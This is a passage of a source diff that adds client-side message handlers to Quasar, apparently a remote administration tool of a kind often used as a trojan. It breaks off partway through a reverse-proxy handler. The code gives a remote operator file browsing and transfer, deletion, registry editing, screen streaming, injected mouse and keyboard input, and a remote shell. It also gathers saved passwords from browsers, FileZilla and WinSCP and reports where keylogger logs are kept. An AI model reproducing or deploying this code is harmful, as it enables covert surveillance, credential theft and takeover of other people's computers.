+ private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
+
+ private readonly QuasarClient _client;
+
+ private CancellationTokenSource _tokenSource;
+
+ private CancellationToken _token;
+
+ public FileManagerHandler(QuasarClient client)
+ {
+ _client = client;
+ _client.ClientState += OnClientStateChange;
+ _tokenSource = new CancellationTokenSource();
+ _token = _tokenSource.Token;
+ }
+
+ private void OnClientStateChange(Networking.Client s, bool connected)
+ {
+ switch (connected)
+ {
+ case true:
+
+ _tokenSource?.Dispose();
+ _tokenSource = new CancellationTokenSource();
+ _token = _tokenSource.Token;
+ break;
+ case false:
+ // cancel all running transfers on disconnect
+ _tokenSource.Cancel();
+ break;
+ }
+ }
+
+ public override bool CanExecute(IMessage message) => message is GetDrives ||
+ message is GetDirectory ||
+ message is FileTransferRequest ||
+ message is FileTransferCancel ||
+ message is FileTransferChunk ||
+ message is DoPathDelete ||
+ message is DoPathRename;
+
+ public override bool CanExecuteFrom(ISender sender) => true;
+
+ public override void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetDrives msg:
+ Execute(sender, msg);
+ break;
+ case GetDirectory msg:
+ Execute(sender, msg);
+ break;
+ case FileTransferRequest msg:
+ Execute(sender, msg);
+ break;
+ case FileTransferCancel msg:
+ Execute(sender, msg);
+ break;
+ case FileTransferChunk msg:
+ Execute(sender, msg);
+ break;
+ case DoPathDelete msg:
+ Execute(sender, msg);
+ break;
+ case DoPathRename msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetDrives command)
+ {
+ DriveInfo[] driveInfos;
+ try
+ {
+ driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray();
+ }
+ catch (IOException)
+ {
+ client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false });
+ return;
+ }
+ catch (UnauthorizedAccessException)
+ {
+ client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false });
+ return;
+ }
+
+ if (driveInfos.Length == 0)
+ {
+ client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false });
+ return;
+ }
+
+ Drive[] drives = new Drive[driveInfos.Length];
+ for (int i = 0; i < drives.Length; i++)
+ {
+ try
+ {
+ var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel)
+ ? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName,
+ driveInfos[i].VolumeLabel,
+ driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat)
+ : string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName,
+ driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat);
+
+ drives[i] = new Drive
+ { DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName };
+ }
+ catch (Exception)
+ {
+
+ }
+ }
+
+ client.Send(new GetDrivesResponse { Drives = drives });
+ }
+
+ private void Execute(ISender client, GetDirectory message)
+ {
+ bool isError = false;
+ string statusMessage = null;
+
+ Action onError = (msg) =>
+ {
+ isError = true;
+ statusMessage = msg;
+ };
+
+ try
+ {
+ DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath);
+
+ FileInfo[] files = dicInfo.GetFiles();
+ DirectoryInfo[] directories = dicInfo.GetDirectories();
+
+ FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length];
+
+ int offset = 0;
+ for (int i = 0; i < directories.Length; i++, offset++)
+ {
+ items[i] = new FileSystemEntry
+ {
+ EntryType = FileType.Directory,
+ Name = directories[i].Name,
+ Size = 0,
+ LastAccessTimeUtc = directories[i].LastAccessTimeUtc
+ };
+ }
+
+ for (int i = 0; i < files.Length; i++)
+ {
+ items[i + offset] = new FileSystemEntry
+ {
+ EntryType = FileType.File,
+ Name = files[i].Name,
+ Size = files[i].Length,
+ ContentType = Path.GetExtension(files[i].Name).ToContentType(),
+ LastAccessTimeUtc = files[i].LastAccessTimeUtc
+ };
+ }
+
+ client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items });
+ }
+ catch (UnauthorizedAccessException)
+ {
+ onError("GetDirectory No permission");
+ }
+ catch (SecurityException)
+ {
+ onError("GetDirectory No permission");
+ }
+ catch (PathTooLongException)
+ {
+ onError("GetDirectory Path too long");
+ }
+ catch (DirectoryNotFoundException)
+ {
+ onError("GetDirectory Directory not found");
+ }
+ catch (FileNotFoundException)
+ {
+ onError("GetDirectory File not found");
+ }
+ catch (IOException)
+ {
+ onError("GetDirectory I/O error");
+ }
+ catch (Exception)
+ {
+ onError("GetDirectory Failed");
+ }
+ finally
+ {
+ if (isError && !string.IsNullOrEmpty(statusMessage))
+ client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true });
+ }
+ }
+
+ private void Execute(ISender client, FileTransferRequest message)
+ {
+ new Thread(() =>
+ {
+ _limitThreads.WaitOne();
+ try
+ {
+ using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read))
+ {
+ _activeTransfers[message.Id] = srcFile;
+ OnReport("File upload started");
+ foreach (var chunk in srcFile)
+ {
+ if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id))
+ break;
+
+ // blocking sending might not be required, needs further testing
+ _client.SendBlocking(new FileTransferChunk
+ {
+ Id = message.Id,
+ FilePath = message.RemotePath,
+ FileSize = srcFile.FileSize,
+ Chunk = chunk
+ });
+ }
+
+ client.Send(new FileTransferComplete
+ {
+ Id = message.Id,
+ FilePath = message.RemotePath
+ });
+ }
+ }
+ catch (Exception)
+ {
+ client.Send(new FileTransferCancel
+ {
+ Id = message.Id,
+ Reason = "Error reading file"
+ });
+ }
+ finally
+ {
+ RemoveFileTransfer(message.Id);
+ _limitThreads.Release();
+ }
+ }).Start();
+ }
+
+ private void Execute(ISender client, FileTransferCancel message)
+ {
+ if (_activeTransfers.ContainsKey(message.Id))
+ {
+ RemoveFileTransfer(message.Id);
+ client.Send(new FileTransferCancel
+ {
+ Id = message.Id,
+ Reason = "Canceled"
+ });
+ }
+ }
+
+ private void Execute(ISender client, FileTransferChunk message)
+ {
+ try
+ {
+ if (message.Chunk.Offset == 0)
+ {
+ string filePath = message.FilePath;
+
+ if (string.IsNullOrEmpty(filePath))
+ {
+ // generate new temporary file path if empty
+ filePath = FileHelper.GetTempFilePath(".exe");
+ }
+
+ if (File.Exists(filePath))
+ {
+ // delete existing file
+ NativeMethods.DeleteFile(filePath);
+ }
+
+ _activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write);
+ OnReport("File download started");
+ }
+
+ if (!_activeTransfers.ContainsKey(message.Id))
+ return;
+
+ var destFile = _activeTransfers[message.Id];
+ destFile.WriteChunk(message.Chunk);
+
+ if (destFile.FileSize == message.FileSize)
+ {
+ client.Send(new FileTransferComplete
+ {
+ Id = message.Id,
+ FilePath = destFile.FilePath
+ });
+ RemoveFileTransfer(message.Id);
+ }
+ }
+ catch (Exception)
+ {
+ RemoveFileTransfer(message.Id);
+ client.Send(new FileTransferCancel
+ {
+ Id = message.Id,
+ Reason = "Error writing file"
+ });
+ }
+ }
+
+ private void Execute(ISender client, DoPathDelete message)
+ {
+ bool isError = false;
+ string statusMessage = null;
+
+ Action onError = (msg) =>
+ {
+ isError = true;
+ statusMessage = msg;
+ };
+
+ try
+ {
+ switch (message.PathType)
+ {
+ case FileType.Directory:
+ Directory.Delete(message.Path, true);
+ client.Send(new SetStatusFileManager
+ {
+ Message = "Deleted directory",
+ SetLastDirectorySeen = false
+ });
+ break;
+ case FileType.File:
+ File.Delete(message.Path);
+ client.Send(new SetStatusFileManager
+ {
+ Message = "Deleted file",
+ SetLastDirectorySeen = false
+ });
+ break;
+ }
+
+ Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) });
+ }
+ catch (UnauthorizedAccessException)
+ {
+ onError("DeletePath No permission");
+ }
+ catch (PathTooLongException)
+ {
+ onError("DeletePath Path too long");
+ }
+ catch (DirectoryNotFoundException)
+ {
+ onError("DeletePath Path not found");
+ }
+ catch (IOException)
+ {
+ onError("DeletePath I/O error");
+ }
+ catch (Exception)
+ {
+ onError("DeletePath Failed");
+ }
+ finally
+ {
+ if (isError && !string.IsNullOrEmpty(statusMessage))
+ client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
+ }
+ }
+
+ private void Execute(ISender client, DoPathRename message)
+ {
+ bool isError = false;
+ string statusMessage = null;
+
+ Action onError = (msg) =>
+ {
+ isError = true;
+ statusMessage = msg;
+ };
+
+ try
+ {
+ switch (message.PathType)
+ {
+ case FileType.Directory:
+ Directory.Move(message.Path, message.NewPath);
+ client.Send(new SetStatusFileManager
+ {
+ Message = "Renamed directory",
+ SetLastDirectorySeen = false
+ });
+ break;
+ case FileType.File:
+ File.Move(message.Path, message.NewPath);
+ client.Send(new SetStatusFileManager
+ {
+ Message = "Renamed file",
+ SetLastDirectorySeen = false
+ });
+ break;
+ }
+
+ Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) });
+ }
+ catch (UnauthorizedAccessException)
+ {
+ onError("RenamePath No permission");
+ }
+ catch (PathTooLongException)
+ {
+ onError("RenamePath Path too long");
+ }
+ catch (DirectoryNotFoundException)
+ {
+ onError("RenamePath Path not found");
+ }
+ catch (IOException)
+ {
+ onError("RenamePath I/O error");
+ }
+ catch (Exception)
+ {
+ onError("RenamePath Failed");
+ }
+ finally
+ {
+ if (isError && !string.IsNullOrEmpty(statusMessage))
+ client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
+ }
+ }
+
+ private void RemoveFileTransfer(int id)
+ {
+ if (_activeTransfers.ContainsKey(id))
+ {
+ _activeTransfers[id]?.Dispose();
+ _activeTransfers.TryRemove(id, out _);
+ }
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this message processor.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _client.ClientState -= OnClientStateChange;
+ _tokenSource.Cancel();
+ _tokenSource.Dispose();
+ foreach (var transfer in _activeTransfers)
+ {
+ transfer.Value?.Dispose();
+ }
+
+ _activeTransfers.Clear();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/KeyloggerHandler.cs b/Quasar.Client/Messages/KeyloggerHandler.cs
new file mode 100644
index 000000000..4a91637b4
--- /dev/null
+++ b/Quasar.Client/Messages/KeyloggerHandler.cs
@@ -0,0 +1,28 @@
+using Quasar.Client.Config;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+
+namespace Quasar.Client.Messages
+{
+ public class KeyloggerHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetKeyloggerLogsDirectory msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ public void Execute(ISender client, GetKeyloggerLogsDirectory message)
+ {
+ client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH });
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar.Client/Messages/MessageBoxHandler.cs
new file mode 100644
index 000000000..608663f04
--- /dev/null
+++ b/Quasar.Client/Messages/MessageBoxHandler.cs
@@ -0,0 +1,39 @@
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Messages
+{
+ public class MessageBoxHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is DoShowMessageBox;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case DoShowMessageBox msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, DoShowMessageBox message)
+ {
+ new Thread(() =>
+ {
+ // messagebox thread resides in csrss.exe - wtf?
+ MessageBox.Show(message.Text, message.Caption,
+ (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
+ (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
+ MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
+ }) {IsBackground = true}.Start();
+
+ client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar.Client/Messages/NotificationMessageProcessor.cs
new file mode 100644
index 000000000..d02966b4b
--- /dev/null
+++ b/Quasar.Client/Messages/NotificationMessageProcessor.cs
@@ -0,0 +1,11 @@
+using Quasar.Common.Messages;
+
+namespace Quasar.Client.Messages
+{
+ public abstract class NotificationMessageProcessor : MessageProcessorBase
+ {
+ protected NotificationMessageProcessor() : base(true)
+ {
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs
new file mode 100644
index 000000000..69ba5342d
--- /dev/null
+++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs
@@ -0,0 +1,62 @@
+using Quasar.Client.Recovery;
+using Quasar.Client.Recovery.Browsers;
+using Quasar.Client.Recovery.FtpClients;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Common.Networking;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+
+namespace Quasar.Client.Messages
+{
+ public class PasswordRecoveryHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is GetPasswords;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetPasswords msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetPasswords message)
+ {
+ List recovered = new List();
+
+ var passReaders = new IAccountReader[]
+ {
+ new BravePassReader(),
+ new ChromePassReader(),
+ new OperaPassReader(),
+ new OperaGXPassReader(),
+ new EdgePassReader(),
+ new YandexPassReader(),
+ new FirefoxPassReader(),
+ new InternetExplorerPassReader(),
+ new FileZillaPassReader(),
+ new WinScpPassReader()
+ };
+
+ foreach (var passReader in passReaders)
+ {
+ try
+ {
+ recovered.AddRange(passReader.ReadAccounts());
+ }
+ catch (Exception e)
+ {
+ Debug.WriteLine(e);
+ }
+ }
+
+ client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/RegistryHandler.cs b/Quasar.Client/Messages/RegistryHandler.cs
new file mode 100644
index 000000000..3abc30e88
--- /dev/null
+++ b/Quasar.Client/Messages/RegistryHandler.cs
@@ -0,0 +1,228 @@
+using Quasar.Client.Extensions;
+using Quasar.Client.Helper;
+using Quasar.Client.Registry;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Common.Networking;
+using System;
+
+namespace Quasar.Client.Messages
+{
+ public class RegistryHandler : IMessageProcessor
+ {
+ public bool CanExecute(IMessage message) => message is DoLoadRegistryKey ||
+ message is DoCreateRegistryKey ||
+ message is DoDeleteRegistryKey ||
+ message is DoRenameRegistryKey ||
+ message is DoCreateRegistryValue ||
+ message is DoDeleteRegistryValue ||
+ message is DoRenameRegistryValue ||
+ message is DoChangeRegistryValue;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case DoLoadRegistryKey msg:
+ Execute(sender, msg);
+ break;
+ case DoCreateRegistryKey msg:
+ Execute(sender, msg);
+ break;
+ case DoDeleteRegistryKey msg:
+ Execute(sender, msg);
+ break;
+ case DoRenameRegistryKey msg:
+ Execute(sender, msg);
+ break;
+ case DoCreateRegistryValue msg:
+ Execute(sender, msg);
+ break;
+ case DoDeleteRegistryValue msg:
+ Execute(sender, msg);
+ break;
+ case DoRenameRegistryValue msg:
+ Execute(sender, msg);
+ break;
+ case DoChangeRegistryValue msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, DoLoadRegistryKey message)
+ {
+ GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse();
+ try
+ {
+ RegistrySeeker seeker = new RegistrySeeker();
+ seeker.BeginSeeking(message.RootKeyName);
+
+ responsePacket.Matches = seeker.Matches;
+ responsePacket.IsError = false;
+ }
+ catch (Exception e)
+ {
+ responsePacket.IsError = true;
+ responsePacket.ErrorMsg = e.Message;
+ }
+ responsePacket.RootKey = message.RootKeyName;
+ client.Send(responsePacket);
+ }
+
+
+ private void Execute(ISender client, DoCreateRegistryKey message)
+ {
+ GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
+ string errorMsg;
+ string newKeyName = "";
+
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.Match = new RegSeekerMatch
+ {
+ Key = newKeyName,
+ Data = RegistryKeyHelper.GetDefaultValues(),
+ HasSubKeys = false
+ };
+ responsePacket.ParentPath = message.ParentPath;
+
+ client.Send(responsePacket);
+ }
+
+ private void Execute(ISender client, DoDeleteRegistryKey message)
+ {
+ GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse();
+ string errorMsg;
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.ParentPath = message.ParentPath;
+ responsePacket.KeyName = message.KeyName;
+
+ client.Send(responsePacket);
+ }
+
+ private void Execute(ISender client, DoRenameRegistryKey message)
+ {
+ GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse();
+ string errorMsg;
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.ParentPath = message.ParentPath;
+ responsePacket.OldKeyName = message.OldKeyName;
+ responsePacket.NewKeyName = message.NewKeyName;
+
+ client.Send(responsePacket);
+ }
+
+
+ private void Execute(ISender client, DoCreateRegistryValue message)
+ {
+ GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse();
+ string errorMsg;
+ string newKeyName = "";
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault());
+ responsePacket.KeyPath = message.KeyPath;
+
+ client.Send(responsePacket);
+ }
+
+ private void Execute(ISender client, DoDeleteRegistryValue message)
+ {
+ GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse();
+ string errorMsg;
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.ValueName = message.ValueName;
+ responsePacket.KeyPath = message.KeyPath;
+
+ client.Send(responsePacket);
+ }
+
+ private void Execute(ISender client, DoRenameRegistryValue message)
+ {
+ GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse();
+ string errorMsg;
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.KeyPath = message.KeyPath;
+ responsePacket.OldValueName = message.OldValueName;
+ responsePacket.NewValueName = message.NewValueName;
+
+ client.Send(responsePacket);
+ }
+
+ private void Execute(ISender client, DoChangeRegistryValue message)
+ {
+ GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse();
+ string errorMsg;
+ try
+ {
+ responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg));
+ }
+ catch (Exception ex)
+ {
+ responsePacket.IsError = true;
+ errorMsg = ex.Message;
+ }
+ responsePacket.ErrorMsg = errorMsg;
+ responsePacket.KeyPath = message.KeyPath;
+ responsePacket.Value = message.Value;
+
+ client.Send(responsePacket);
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs
new file mode 100644
index 000000000..f4eb63ecc
--- /dev/null
+++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs
@@ -0,0 +1,205 @@
+using Quasar.Client.Helper;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using Quasar.Common.Video;
+using Quasar.Common.Video.Codecs;
+using System;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Messages
+{
+ public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable
+ {
+ private UnsafeStreamCodec _streamCodec;
+
+ public override bool CanExecute(IMessage message) => message is GetDesktop ||
+ message is DoMouseEvent ||
+ message is DoKeyboardEvent ||
+ message is GetMonitors;
+
+ public override bool CanExecuteFrom(ISender sender) => true;
+
+ public override void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case GetDesktop msg:
+ Execute(sender, msg);
+ break;
+ case DoMouseEvent msg:
+ Execute(sender, msg);
+ break;
+ case DoKeyboardEvent msg:
+ Execute(sender, msg);
+ break;
+ case GetMonitors msg:
+ Execute(sender, msg);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, GetDesktop message)
+ {
+ // TODO: Switch to streaming mode without request-response once switched from windows forms
+ // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
+ var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex));
+ var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
+
+ if (_streamCodec == null)
+ _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
+
+ if (message.CreateNew)
+ {
+ _streamCodec?.Dispose();
+ _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
+ OnReport("Remote desktop session started");
+ }
+
+ if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
+ {
+ _streamCodec?.Dispose();
+
+ _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
+ }
+
+ BitmapData desktopData = null;
+ Bitmap desktop = null;
+ try
+ {
+ desktop = ScreenHelper.CaptureScreen(message.DisplayIndex);
+ desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
+ ImageLockMode.ReadWrite, desktop.PixelFormat);
+
+ using (MemoryStream stream = new MemoryStream())
+ {
+ if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
+ _streamCodec.CodeImage(desktopData.Scan0,
+ new Rectangle(0, 0, desktop.Width, desktop.Height),
+ new Size(desktop.Width, desktop.Height),
+ desktop.PixelFormat, stream);
+ client.Send(new GetDesktopResponse
+ {
+ Image = stream.ToArray(),
+ Quality = _streamCodec.ImageQuality,
+ Monitor = _streamCodec.Monitor,
+ Resolution = _streamCodec.Resolution
+ });
+ }
+ }
+ catch (Exception)
+ {
+ if (_streamCodec != null)
+ {
+ client.Send(new GetDesktopResponse
+ {
+ Image = null,
+ Quality = _streamCodec.ImageQuality,
+ Monitor = _streamCodec.Monitor,
+ Resolution = _streamCodec.Resolution
+ });
+ }
+
+ _streamCodec = null;
+ }
+ finally
+ {
+ if (desktop != null)
+ {
+ if (desktopData != null)
+ {
+ try
+ {
+ desktop.UnlockBits(desktopData);
+ }
+ catch
+ {
+ }
+ }
+ desktop.Dispose();
+ }
+ }
+ }
+
+ private void Execute(ISender sender, DoMouseEvent message)
+ {
+ try
+ {
+ Screen[] allScreens = Screen.AllScreens;
+ int offsetX = allScreens[message.MonitorIndex].Bounds.X;
+ int offsetY = allScreens[message.MonitorIndex].Bounds.Y;
+ Point p = new Point(message.X + offsetX, message.Y + offsetY);
+
+ // Disable screensaver if active before input
+ switch (message.Action)
+ {
+ case MouseAction.LeftDown:
+ case MouseAction.LeftUp:
+ case MouseAction.RightDown:
+ case MouseAction.RightUp:
+ case MouseAction.MoveCursor:
+ if (NativeMethodsHelper.IsScreensaverActive())
+ NativeMethodsHelper.DisableScreensaver();
+ break;
+ }
+
+ switch (message.Action)
+ {
+ case MouseAction.LeftDown:
+ case MouseAction.LeftUp:
+ NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown);
+ break;
+ case MouseAction.RightDown:
+ case MouseAction.RightUp:
+ NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown);
+ break;
+ case MouseAction.MoveCursor:
+ NativeMethodsHelper.DoMouseMove(p);
+ break;
+ case MouseAction.ScrollDown:
+ NativeMethodsHelper.DoMouseScroll(p, true);
+ break;
+ case MouseAction.ScrollUp:
+ NativeMethodsHelper.DoMouseScroll(p, false);
+ break;
+ }
+ }
+ catch
+ {
+ }
+ }
+
+ private void Execute(ISender sender, DoKeyboardEvent message)
+ {
+ if (NativeMethodsHelper.IsScreensaverActive())
+ NativeMethodsHelper.DisableScreensaver();
+
+ NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown);
+ }
+
+ private void Execute(ISender client, GetMonitors message)
+ {
+ client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length});
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this message processor.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _streamCodec?.Dispose();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar.Client/Messages/RemoteShellHandler.cs
new file mode 100644
index 000000000..c10cf98fd
--- /dev/null
+++ b/Quasar.Client/Messages/RemoteShellHandler.cs
@@ -0,0 +1,95 @@
+using Quasar.Client.IO;
+using Quasar.Client.Networking;
+using Quasar.Common.Messages;
+using Quasar.Common.Networking;
+using System;
+
+namespace Quasar.Client.Messages
+{
+ ///
+ /// Handles messages for the interaction with the remote shell.
+ ///
+ public class RemoteShellHandler : IMessageProcessor, IDisposable
+ {
+ ///
+ /// The current remote shell instance.
+ ///
+ private Shell _shell;
+
+ ///
+ /// The client which is associated with this remote shell handler.
+ ///
+ private readonly QuasarClient _client;
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The associated client.
+ public RemoteShellHandler(QuasarClient client)
+ {
+ _client = client;
+ _client.ClientState += OnClientStateChange;
+ }
+
+ ///
+ /// Handles changes of the client state.
+ ///
+ /// The client which changed its state.
+ /// The new connection state of the client.
+ private void OnClientStateChange(Networking.Client s, bool connected)
+ {
+ // close shell on client disconnection
+ if (!connected)
+ {
+ _shell?.Dispose();
+ }
+ }
+
+ ///
+ public bool CanExecute(IMessage message) => message is DoShellExecute;
+
+ ///
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ ///
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case DoShellExecute shellExec:
+ Execute(sender, shellExec);
+ break;
+ }
+ }
+
+ private void Execute(ISender client, DoShellExecute message)
+ {
+ string input = message.Command;
+
+ if (_shell == null && input == "exit") return;
+ if (_shell == null) _shell = new Shell(_client);
+
+ if (input == "exit")
+ _shell.Dispose();
+ else
+ _shell.ExecuteCommand(input);
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this message processor.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _shell?.Dispose();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar.Client/Messages/ReverseProxyHandler.cs
new file mode 100644
index 000000000..21e958856
--- /dev/null
+++ b/Quasar.Client/Messages/ReverseProxyHandler.cs
@@ -0,0 +1,58 @@
+using Quasar.Client.Networking;
+using Quasar.Client.ReverseProxy;
+using Quasar.Common.Messages;
+using Quasar.Common.Messages.ReverseProxy;
+using Quasar.Common.Networking;
+
+namespace Quasar.Client.Messages
+{
+ public class ReverseProxyHandler : IMessageProcessor
+ {
+ private readonly QuasarClient _client;
+
+ public ReverseProxyHandler(QuasarClient client)
+ {
+ _client = client;
+ }
+
+ public bool CanExecute(IMessage message) => message is ReverseProxyConnect ||
+ message is ReverseProxyData ||
+ message is ReverseProxyDisconnect;
+
+ public bool CanExecuteFrom(ISender sender) => true;
+
+ public void Execute(ISender sender, IMessage message)
+ {
+ switch (message)
+ {
+ case ReverseProxyConnect msg:
